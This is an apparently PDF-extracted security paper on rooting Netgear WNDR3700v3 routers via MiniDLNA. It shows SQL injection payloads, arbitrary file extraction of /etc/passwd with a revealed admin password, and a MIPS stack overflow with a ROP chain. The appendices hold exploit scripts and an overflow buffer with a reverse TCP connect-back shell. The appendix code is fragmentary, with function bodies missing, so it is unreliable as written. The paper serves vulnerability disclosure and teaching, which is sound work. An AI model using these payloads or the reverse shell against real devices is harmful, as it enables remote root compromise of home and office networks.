SQL Injection to MIPS Overflows
SQL Injection to MIPS Overflows:
Rooting SOHO Routers
Zachary Cutlip, Tactical Network Solutions zcutlip@tacnetsol.com Abstract
This paper details an approach by which SQL injection is used to gain remote access to arbitrary files from the file systems of Netgear wireless routers. It also leverages the same SQL injection to exploit a buffer overflow in the Netgear routers, yielding remote, root-­‐level access. It guides the reader from start to finish through the vulnerability discovery and exploitation process. In the course of describing several vulnerabilities, this paper presents effective investigation and exploitation techniques of interest to those analyzing SOHO routers and other embedded devices. SQL Injection to MIPS Overflows: Rooting SOHO Routers Introduction
In this paper I will demonstrate novel uses of SQL injection as an attack vector to exploit otherwise unexposed vulnerabilities. Additionally, I detail a number of zero-­‐day remote vulnerabilities found in several popular Small Office/Home Office (SOHO) wireless routers manufactured by Netgear. In the course of explaining the vulnerabilities, I demonstrate how to pivot off of a SQL injection in order to achieve fully privileged remote system access via buffer overflow attack. I also make the case that the oft-­‐forgotten SOHO router is among the most valuable targets on a home or corporate network. Traditionally, SQL injection attacks are regarded as a means of obtaining privileged access to data that would otherwise be inaccessible. An attack against a database that contains no valuable or sensitive data is easy to disregard. This is especially true in the case that the data is temporary and application-­‐
generated. I will show that such vulnerabilities may actually present new exploitation opportunities. Often, an application developer assumes that only his or her application will ever make modifications to the database in question. As a result, the application may fail to properly validate results from database queries, since it is assumed that all query results may be trusted. If the database is vulnerable to tampering, it is then possible violate the application developer’s assumption of well-­‐formed data, sometimes to interesting effect. I will demonstrate three vulnerabilities in the target device. First is a SQL injection vulnerability that is trivially exploitable, but yields little in the way of privileged access. The second and third vulnerabilities yield successively greater access, but are less exposed. I will show how we can use the first as an attack vector in order to effectively exploit the second and third vulnerabilities. The goals for this paper are: •
Introduce novel application of SQL injection in order to exploit a buffer overflow and gain remote access. •
Describe zero-­‐day vulnerabilities found in Netgear SOHO routers •
Guide the reader step-­‐by-­‐step through the investigative process, so that he or she may produce the same results independently •
Provide the reader with a set of useful investigative techniques applicable to SOHO routers and embedded devices in general Zachary Cutlip 1
SQL Injection to MIPS Overflows: Rooting SOHO Routers Target Device: Netgear WNDR3700v3
In order to demonstrate real world cases in which application vulnerabilities may be exploited by first compromising the integrity of a low-­‐value database, I will demonstrate security analysis of a popular wireless router. The device in question is the Netgear wireless router WNDR3700 version 3.1 The WNDR3700’s robust feature set makes it very popular. It is this enhanced capability set that also makes it an attractive subject of security analysis. Specifically, it is this device’s media storage and serving capability that is the subject of this paper’s research. In addition to traditional wireless networking and Internet gateway capability, the WNDR3700 functions as a DLNA server. DLNA stands for Digital Living Network Alliance and refers to set of specifications that define, among other things, mechanisms by which music and movie files may be served over a local network and played back by DLNA-­‐capable devices. As I will show, this device’s DLNA functionality exposes critical vulnerabilities. SOHO Router as High Value Target
The SOHO router, as class of device, is generally inexpensive and sees little direct user interaction. It functions discreetly and reliably on a shelf and is often forgotten past its initial setup and configuration. However, the significance of this device’s role on the network cannot be overstated. As a gateway device, it is often entrusted with all of its users’ Internet-­‐bound traffic. The vulnerabilities I discuss in this paper offer an attacker a privileged vantage point on a home or corporate network. A compromise of such a device can grant to the attacker access to all of a network’s inbound and outbound communication. Further, successful compromise of the gateway device opens the opportunity to attack internal systems that previously were not exposed. Analyzing the Target Device
Inspection of the target device’s firmware is an excellent place to begin analysis. There is a wealth of intelligence to be found in the manufacturer’s firmware update file. Although the process of unpacking and analyzing firmware is beyond the scope of this paper, Craig Heffner has provided on his website2 an excellent explanation of the tools and techniques involved. Having downloaded3 and unpacked the firmware update file, we can now verify that this device runs a Linux-­‐based operating system: 1
At the time of writing, this device is widely available online for approximately USD$100. http://www.devttys0.com/2011/05/reverse-­‐engineering-­‐firmware-­‐linksys-­‐wag120n/
http://support.netgear.com/app/products/model/a_id/19278 2
Zachary Cutlip 2
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 1 Verifying the Linux kernel in the vendor’s firmware update file.
Any device that runs Linux is an ideal candidate for analysis, since there are ample tools and techniques readily available for working with Linux systems. Often, simply having a copy of the firmware is sufficient for discovering vulnerabilities and developing working exploits against them. However, being able to interact directly with the hardware can aid analysis greatly. In the case of the WNDR3700, it is easy to modify its internals by attaching a UART header so we can interact with the running device via a serial console application such as minicom. I won’t detail the specifics of hardware modification in this paper. This is adequately addressed on various hobbyist websites and forums. However, terminal access to the device is essential for the investigations I describe. In addition to the serial port, the WNDR3700v3 has another feature that aids analysis: a USB port. This device is intended for use as a Network Attached Storage (NAS) device, and will automatically mount a USB storage device when it is plugged in. This makes it easy to load tools onto the device for dynamic analysis. Also, system files such as executables, libraries, configuration files, and database files may be copied from the device for offline analysis. Although the DLNA server functionality requires external USB storage in order to serve digital media, the vulnerabilities detailed in this paper do not. The vulnerable DLNA server functionality remains running on the device even if the user does not connect a USB storage device. Zachary Cutlip 3
SQL Injection to MIPS Overflows: Rooting SOHO Routers Target Application: MiniDLNA server
The application included in the WNDR3700’s firmware providing DLNA capabilities is called ‘minidlna.exe’. The minidlna executable can be found in the unpacked firmware: Figure 2 Locating minidlna.exe in upacked firmware.
Running the ‘strings’ command on the minidlna.exe executable, grepping for ‘Version’ reveals that this build is version 1.0.18: Figure 3 Verifying version of MiniDLNA found in vendor’s firmware update file.
A Google search reveals that Netgear has released MiniDLNA as an open source project on Sourceforge.com. This is potentially a lucky find. Source code significantly reduces time and effort involved in analyzing the target application. Analyzing MiniDLNA
Vulnerability 1: SQL Injection
Having downloaded and unpacked the corresponding source code for MiniDLNA version 1.0.18, there are easy indicators to look for which may point to vulnerabilities. A grep search yields valuable evidence: Figure 4 A search for candidates for SQL injection vulnerability.
Looking for potential SQL injections, we grep for SQL queries constructed using improperly escaped strings (the ‘%s’ format character). There are 21 lines matching this pattern in the MiniDLNA source. The ones shown above are representative. In addition to being potential SQL injections, there are also possibly buffer overflows, due to the use of an unbounded sprintf(). Let’s look at the upnphttp.c, line 1174, where ALBUM_ART is queried: Zachary Cutlip 4
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 5 Location in MiniDLNA source code where album art is queried by ID field.
We see that ‘sql_buf’ is a 256-­‐byte character array placed on the stack. There is an unbounded sprintf() into it. This may be a buffer overflow. A grep through the source reveals there’s only a single call-­‐site for SendResp_albumArt(). Let’s look at where it’s called from upnphttp.c: Zachary Cutlip 5
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 6 Analyzing call-site of SendResp_albumArt(). This appears to be no buffer overflow candidate, but may be a
SQL injection candidate.
We can see the caller, ProcessHttpQuery_unpnphttp(), sends a string 512 (or fewer) bytes in length to SendResp_albumArt(). Unfortunately, since there is a 1500-­‐byte character array on the stack in SendResp_albumArt() above sql_buf, we cannot overwrite the saved return address with an overflow. Nonetheless, this seems to be an ideal candidate for SQL injection. If there is a dash character in the requested ‘object’, the dash and everything after is trimmed. What remains of the ‘object’ string is transformed into a SQL query. It isn’t safe to assume that the source code Netgear posted to SourceForge matches the shipping binary perfectly. A quick look in IDA Pro at the minidlna.exe executable copied from the target system can verify that the same bug exists on the shipping device. Zachary Cutlip 6
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 7 Verifying the presence of a SQL injection bug in the shipping executable.
We can copy the SQLite database from the running device to analyze its contents and schema. Figure 8 Verifying the schema of the ALBUM_ART table.
The schema defines the ALBUM_ART table as a primary key and a text field called ‘PATH’. If the SQL injection works, we should be able to forge an ALBUM_ART record by inserting bogus integer and string values into that table. Analysis of the source code shows that the DLNA client device retrieves album art from the HTTP URL path ‘/AlbumArt/’, followed by the unique ID of the album art’s database entry. We can verify this with a web browser: Zachary Cutlip 7
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 9 Verifying album art HTTP URL in a web browser.
We can easily test our SQL injection vulnerability using the wget command, and then retrieving the database from the running device for analysis. We must make sure the GET request isn’t truncated or tokenized as a result of spaces in the injected SQL command. It is important for the complete SQL syntax to arrive intact and be interpreted correctly by SQLite. This is easily resolved-­‐-­‐SQLite allows the use of C-­‐style comment to separate keywords, which we can substitute for spaces: INSERT/**/into/**/ALBUM_ART(ID,PATH)/**/VALUES(‘31337’,‘pwned’);
Before testing this injection, it is worth noting that plugging in a FAT-­‐formatted USB disk causes MiniDLNA to create the SQLite database on the disk, rather than on the target’s temporary file system. Later, we will see a way to extract the database from the running system over the network, but for now, we will ensure a USB disk is plugged in, so we can power off the device, connect the disk to our own system, and analyze the resulting database offline. Append the injected command after the requested album’s unique ID: Figure 10 A trivially exploitable SQL injection vulnerability.
The good news is we have a working, trivially exploitable SQL injection! We have created an ALBUM_ART record consisting of 31337 and ‘pwned’. The bad news is this exploit, on its own, is of little value. This database contains metadata about the user’s music and videos, but no real sensitive or valuable information. In fact, if the database is destroyed, it is regenerated the next time MiniDLNA indexes the user’s media files. No valuable information can be compromised from this exploit alone. Zachary Cutlip 8
SQL Injection to MIPS Overflows: Rooting SOHO Routers What we will look at next is how the MiniDLNA application uses results of its database queries. We will see how assumptions about the integrity of query results create the opportunity for more significant security vulnerabilities. Vulnerability 2: Arbitrary File Extraction
By analyzing the contents of MiniDLNA’s populated database... Figure 11 Analyzing the PATH field of an ALBUM_ART record.
...as well the source code for the SendResp_albumArt() function... Figure 12 The SendResp_albumArt() function appears to send any file on the system that the query result points to.
...we can make an interesting observation. It appears MiniDLNA serves up whatever file is pointed to by the PATH value from the query result. Zachary Cutlip 9
SQL Injection to MIPS Overflows: Rooting SOHO Routers What makes this even more interesting is that MiniDLNA, like all processes on the device, is running as the root user. It is not prevented from accessing any arbitrary file from the system. We can verify this by injecting the following query: INSERT/**/into/**/ALBUM_ART(ID,PATH)/**/VALUES(‘31337’,‘/etc/passwd’);
We test this with wget: Figure 13 A SQL injection allows us to wget arbitrary files via HTTP.
With that, we have vulnerability number two: arbitrary file extraction! We have used the original SQL injection from before in order to exploit a second vulnerability-­‐-­‐the MiniDLNA application fails to sanitize the ‘path’ result from its album art database query. This is a useful attack against the device. First, the passwd file seen in the above example contains the password for the ‘admin’ user account. The Samba file sharing service creates this file whenever the user connects a USB storage device, even though the user has not enabled sharing on the WNDR3700’s configuration page. Further, the device does not support creation of accounts and passwords for file sharing that are separate from the system configuration account. The password shown above, ‘qw12QW!@’ enables complete access to the device’s configuration web interface. Zachary Cutlip 10
SQL Injection to MIPS Overflows: Rooting SOHO Routers Secondly, the ability to quickly and easily extract arbitrary files from the running system makes analysis easier during the development of our next exploit. We can even use SQL injection to retrieve the database file from the live system. This will make it more convenient to analyze the results of our various SQL injections. Appendix A contains a program that automates this exploit. Vulnerability 3: Remote Code Execution
Arbitrary file extraction yields greater access than before, but ideally we will find a way to execute arbitrary code, hopefully enabling fully privileged system access. The most likely attack vector is a buffer overflow. With luck we can find an unbounded write to a buffer declared on the stack. We start our quest for overflow candidates by searching for low hanging fruit. A grep through the source code for dangerous string-­‐handling functions is a good place to begin. Figure 14 A search through MiniDLNA’s source code for dangerous string functions yields many candidates.
Searching for strcat(), sprintf(), and strcpy() function calls returns 265 lines. It looks like there are plenty of opportunities to overflow a buffer. Let’s have a look at upnpsoap.c, line 846 Zachary Cutlip 11
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 15 A buffer overflow candidate in MiniDLNA’s SQLite callback() function.
This is an intriguing bug for a couple of reasons. First, this sprintf() is near the end of an exceptionally long function. That is important because there are many function arguments and local variables on the stack. If an overflow overwrites the stack too early in the function, there are many hazards that would likely crash the program before we successfully intercept the function’s return. This bug is also interesting because callback() is the function passed to sqlite3_exec() to process the query results. As seen at line 956 of upnpsoap.c, the query whose results are sent to callback() is: Figure 16 The SQL query whose results are processed by MiniDLNA’s callback() function.
Let’s look at the schema for the DETAILS table. Zachary Cutlip 12
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 17 The schema of the DETAILS table. ALBUM_ART is an integer.
The schema shows that ALBUM_ART is an integer, but the sprintf() in question is writing the returned album art ID into the 512-­‐byte str_buf as a string. A couple things are worth noting. First, SQLite uses “type affinity4” to convert a string to a field’s numeric type. It does this only if the string has a numeric representation. For example, the string “1234” will be stored as the integer 1,234 in an integer field, but “1234WXYZ” will be stored as a string. Further, SQLite returns results from queries on integer fields as strings. Second, the program attempts to “validate” the string returned by SQLite using the atoi() function. However, this test only verifies that at least the first character of the string is a number and more specifically, a number other than zero. The rest of the string, starting with the first non-­‐number, is ignored.5 The implication is that arbitrary data may be returned from the SQL query and subsequently written into str_buf, even though ALBUM_ART is specified as an integer in the database’s schema. Perhaps the developer assumes album_art will be a string representation of an integer, and therefore of limited length. Next, by violating this assumption, we will have an exploitable buffer overflow. Ordinarily this particular bug is difficult or impossible to exploit, as its input comes from a database, not from user input or a network connection. There is no reason that the database, which is not user facing, should contain anything that the application didn’t put there itself. Fortunately for us, we have previously discovered a trivially exploitable SQL injection that gives us unfettered access to the database. Thus, we can put anything there we want. To be sure this bug is present in the shipping executable, we can go back to IDA Pro for a quick look inside the callback() function. 4
http://www.sqlite.org/faq.html#q3 http://kernel.org/doc/man-­‐pages/online/pages/man3/atoi.3.html Zachary Cutlip 13
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 18 Verifying the presence of the buffer overflow candidate in the shipping minidlna.exe executable.
Disassembly in IDA suggests that the target’s copy of MiniDLNA is vulnerable to an ALBUM_ART buffer overflow. In order to verify exploitability we need to have data that we control loaded into the CPU’s program counter. We can test this by first staging records in the OBJECTS and DETAILS tables that will satisfy the left join query described earlier. Then we will stage a sufficiently long string in the database to overflow the buffer and overwrite the function’s saved return address. We can set up the appropriate records with the following SQL commands: INSERT/**/into/**/DETAILS(ID,SIZE,TITLE,ARTIST,ALBUM,TRACK,DLNA_PN,MIME,
This will create two records that are related via a DETAILS.ID and OBJECTS.DETAIL_ID of ‘31337’. It is also important to note that the OBJECTS.ID value is ‘PWNED’ and that the ALBUM_ART value is 1. When constructing the string value in DETAILS.ALBUM_ART, we ensure it passes the atoi() check by starting it with the character ‘1’. We need to build up a long string in our record’s ALBUM_ART field of the DETAILS table. Recall that we will be exploiting the SendResp_albumArt() function, and the string passed into it is not arbitrarily long. In fact, it is just over 500 bytes at most. The ‘object’ string consists of the requested object path, e.g., ‘/AlbumArt/1-18.jpg’ plus the overhead of the injected SQL syntax. Further, the SQL query gets written into a buffer that is 256 (Listing 4) bytes in size, even though the ‘object’ string can be as long as 500 bytes. This clearly is a bug, but it’s not the bug we’re attempting to exploit. It is a good idea to keep the value that we’re injecting into the ALBUM_ART field to a safe length of 128 bytes. How can we overflow a buffer 512 bytes in length by enough excess to successfully overwrite the return address saved at the top of the stack frame? Using SQLite’s concatenation operator, ‘||’, we can build the excessively long string in multiple SQL injection passes, and keep appending more data to the previous. For example: UPDATE/**/DETAILS/**/set/**/ALBUM_ART=ALBUM_ART||“AAAA”/**/where/**/ID="3";'
Zachary Cutlip 14
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix B is a listing of a Python script that will insert our long test string into the target’s database. In order to trigger the buffer overflow, the client must send a proper SOAP request to MiniDLNA such that staged database records are queried and the results processed by the vulnerable callback() function. Zachary Cutlip 15
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix C is a listing of a Python script that will generate a complete DLNA discovery and conversation. We can use it to capture the key SOAP request between client and server using Wireshark and capture it for playback. Figure 19 Isolating the SOAP request that causes our staged record to be queried.
Zachary Cutlip 16
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix D lists the SOAP request XML document that will query the ‘PWNED’ object ID, thus triggering the exploit. Having staged the buffer overflow in the database, we can trigger it by sending the captured SOAP request using the following wget command: $ wget --header="Host:" \
'SOAPACTION: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"' \
--header='"content-type: text/xml ;charset="utf-8"' \
--header="connection: close" --post-file=./soaprequest.xml
Using a USB disk, we can load a gdbserver cross-­‐compiled6 for little endian MIPS onto the live device and attach to the running minidlna.exe process. In order to remotely debug we will need to use a gdb compiled for our own machine’s host architecture and the little endian MIPS target architecture. When sending the SOAP request, we can see gdb catch the crash and that our data lands in the program counter: Figure 20 Crashing minidlna.exe with control PC register and all S registers.
We now have control of the program counter, and by extension, the program’s flow of execution. Further, we have control over all of the S-­‐registers! This makes things easier as we develop our exploit. We overflowed the target buffer with approximately 640 bytes of data. If we rerun the program with a much larger overflow, say over 2500 bytes, we will be able to see how much of the stack we can control. 6
Cross-­‐compilation is beyond the scope of this paper and is left as an exercise for the reader. Zachary Cutlip 17
SQL Injection to MIPS Overflows: Rooting SOHO Routers We are able to view the state of the stack and the time of crash in gdb. The figure below shows that we can control an arbitrary amount of the stack space. Our longer overflow string does not appear to get truncated. This gives plenty of room to build a ROP7 chain and to stage a payload. We can use the ROP exploitation technique to locate a stack address and return into our code there. A working exploit buffer is provided in Appendix E. It includes a reverse TCP connect-­‐back shell that connects back to the IP address, port 31337. 7
Return Oriented Programming, ROP, is an exploitation technique by which the attacker causes the compromised program to execute existing instructions that are part of the program or its libraries, rather than executing buffer overflow data directly. http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html Zachary Cutlip 18
SQL Injection to MIPS Overflows: Rooting SOHO Routers Figure 21 A view of the stack after overflowing the buffer. We can put a large amount of user-controlled data on the
Zachary Cutlip 19
SQL Injection to MIPS Overflows: Rooting SOHO Routers Affected Devices
In researching these vulnerabilities, I obtained and analyzed the firmware for several different Netgear SOHO Routers. For each router I analyzed the two most recent firmware update files available on the vendor’s support website. I focused only on devices that provided the DLNA capability. Although the WNDR3700v3 is the only device for which I developed and tested the exploits, all the devices and firmware versions I analyzed appear to be vulnerable based on disassembly and static analysis. The following table describes the devices and their respective firmware versions that appear to be vulnerable. Router Model WNDR3700v3 WNDR3800 WNDR4000 WNDR4500 Firmware Version MiniDLNA Version 1.0.18 1.0.18 1.0.19 1.0.19 1.0.18 1.0.18 1.0.18 1.0.18 Performed Static Analysis Yes Yes Yes 8
Yes Yes Yes Yes Yes Vulnerable Yes Yes Yes Yes Yes Yes Yes Yes Developed Exploits Yes In total, I found eight separate firmware versions across four separate device models that contain the vulnerable executable. Conclusion
As we have seen, there are a number of readily exploitable vulnerabilities in Netgear’s MiniDLNA server and Netgear’s wireless routers. It is easy pass over an attack that yields little direct value, such as the SQL injection shown earlier. However, I have clearly shown two practical and useful attacks that become possible when combined with the first. Just as significantly, I have presented analysis techniques that can be applied to a variety of embedded devices for vulnerability research and exploit development. The first known hostile exploitation of a buffer overflow was by the Morris worm in 19889. Yet, twenty-­‐
four years later, buffer overflows continue to be as important as ever. Moreover, oft-­‐overlooked embedded devices such as SOHO routers are among the most critical systems on users’ networks. Vulnerabilities found within, such as those I have described in this paper, have the potential to expose a great many users to exploitation. 8
The MD5 digest for the minidlna executable unpacked from WNDR3800 firmware version matches the digest from firmware, so no additional static analysis is required. 9
http://web.archive.org/web/20070520233435/http://world.std.com/~franl/worm.html Zachary Cutlip 20
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix A The following program exploits a SQL injection vulnerability to enable convenient file extraction from the target. It may be invoked as follows: $ ./albumartinject.py ‘/etc/passwd’
An HTTP URL is then displayed for use with the wget command. #!/usr/bin/env python
import os
import sys
import urllib,socket,os,httplib
import time
class Logging:
prefixes.append(" [!] ")
prefixes.append(" [+] ")
prefixes.append(" [@] ")
def log_msg(klass,msg,level=INFO):
if klass.log_level>=level:
print pref+msg
def log(msg):
def log_debug(msg):
def log_warn(msg):
def usage():
usage="Usage: %s [FILE]\nInject a database record allowing HTTP access to FILE.\n" %
print usage
def build_request(query):
return request
def do_request(request):
return data
except IndexError:
Zachary Cutlip 21
SQL Injection to MIPS Overflows: Rooting SOHO Routers log("Requested file is: "+desired_file)
log("Deleting old record.")
log("Injecting ALBUM_ART record.")
log("Injection complete.")
log("You may access "+desired_file)
log("via the URL http://%s:%d%s/%s-18.jpg"%(host,port,album_art_path,inject_id))
Zachary Cutlip 22
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix B
#!/usr/bin/env python
# Author: Zachary Cutlip
twitter: @zcutlip
#This script injects a buffer overflow into the ALBUM_ART table of
#MiniDLNA's SQLite database. When queried with the proper soap request,
#this buffer overflow demonstrates arbitrary code execution by placing a
#string of user-controlled 'A's in the CPU's program counter. This
#affects MiniDLNA version 1.0.18 as shipped with Netgear WNDR3700 version 3.
import math
import sys
import urllib,socket,os,httplib
import time
from overflow_data import DlnaOverflowBuilder
def build_injection_req(query):
return request
def do_get_request(request):
def build_update_query(string):
return details_update_query
def clear_overflow_data():
print "Deleting existing overflow data..."
Zachary Cutlip 23
SQL Injection to MIPS Overflows: Rooting SOHO Routers def insert_overflow_data():
print("Setting up initial database records....")
print("Building long ALBUM_ART string.")
for string in overflow_strings:
Zachary Cutlip 24
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix C
#!/usr/bin/env python
# A program browse the content directory for a specific object
# Use to analyze DLNA conversation in order to identify appropriate
# SOAP request to query the desired object.
# Author: Zachary Cutlip
Twitter: @zcutlip
from twisted.internet import reactor
from coherence.base import Coherence
from coherence.upnp.devices.control_point import ControlPoint
from coherence.upnp.core import DIDLLite
# called for each media server found
def media_server_found(client, udn):
print "media_server_found", client
d = client.content_directory.browse('PWNED',
browse_flag='BrowseDirectChildren', requested_count=100,process_result=False,
def media_server_removed(udn):
print "media_server_removed", udn
def start():
control_point = ControlPoint(Coherence({'logmode':'warning'}),
if __name__ == "__main__":
Zachary Cutlip 25
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix D
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
<ns0:Browse xmlns:ns0="urn:schemas-upnp-org:service:ContentDirectory:1">
<SortCriteria />
Zachary Cutlip 26
SQL Injection to MIPS Overflows: Rooting SOHO Routers Appendix E
Author: Zachary Cutlip
Twitter: @zcutlip
An exploit buffer and reverse TCP connect-back payload
targetting vulnerable callback() funcgion in
MiniDLNA version 1.0.18 as shipped with Netgear WNDR3700 version 3.
Connect-back IP address:
Port: 31337
class DlnaOverflowBuilder:
"x'20'", #SQL escape
"x'0d'", #SQL escape
"x'20'", #SQL escape
def initial_overflow(self):
return overflow_data
Zachary Cutlip 27
SQL Injection to MIPS Overflows: Rooting SOHO Routers def rop_chain(self):
#jalr s6
#jalr s0
#move t9,s3
#jalr t9
#load offset from sp into S6, then jalr S1
#load offset from sp into S6, then jalr S1
#avoid crashing memcpy
return ropchain
def payload(self):
for i in xrange(0,1):
for string in self.connect_back:
#for debugging purposes so we can locate our shellcode in memory
return payload
Zachary Cutlip 28
Was this manual useful for you? yes no
Thank you for your participation!

* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project

Download PDF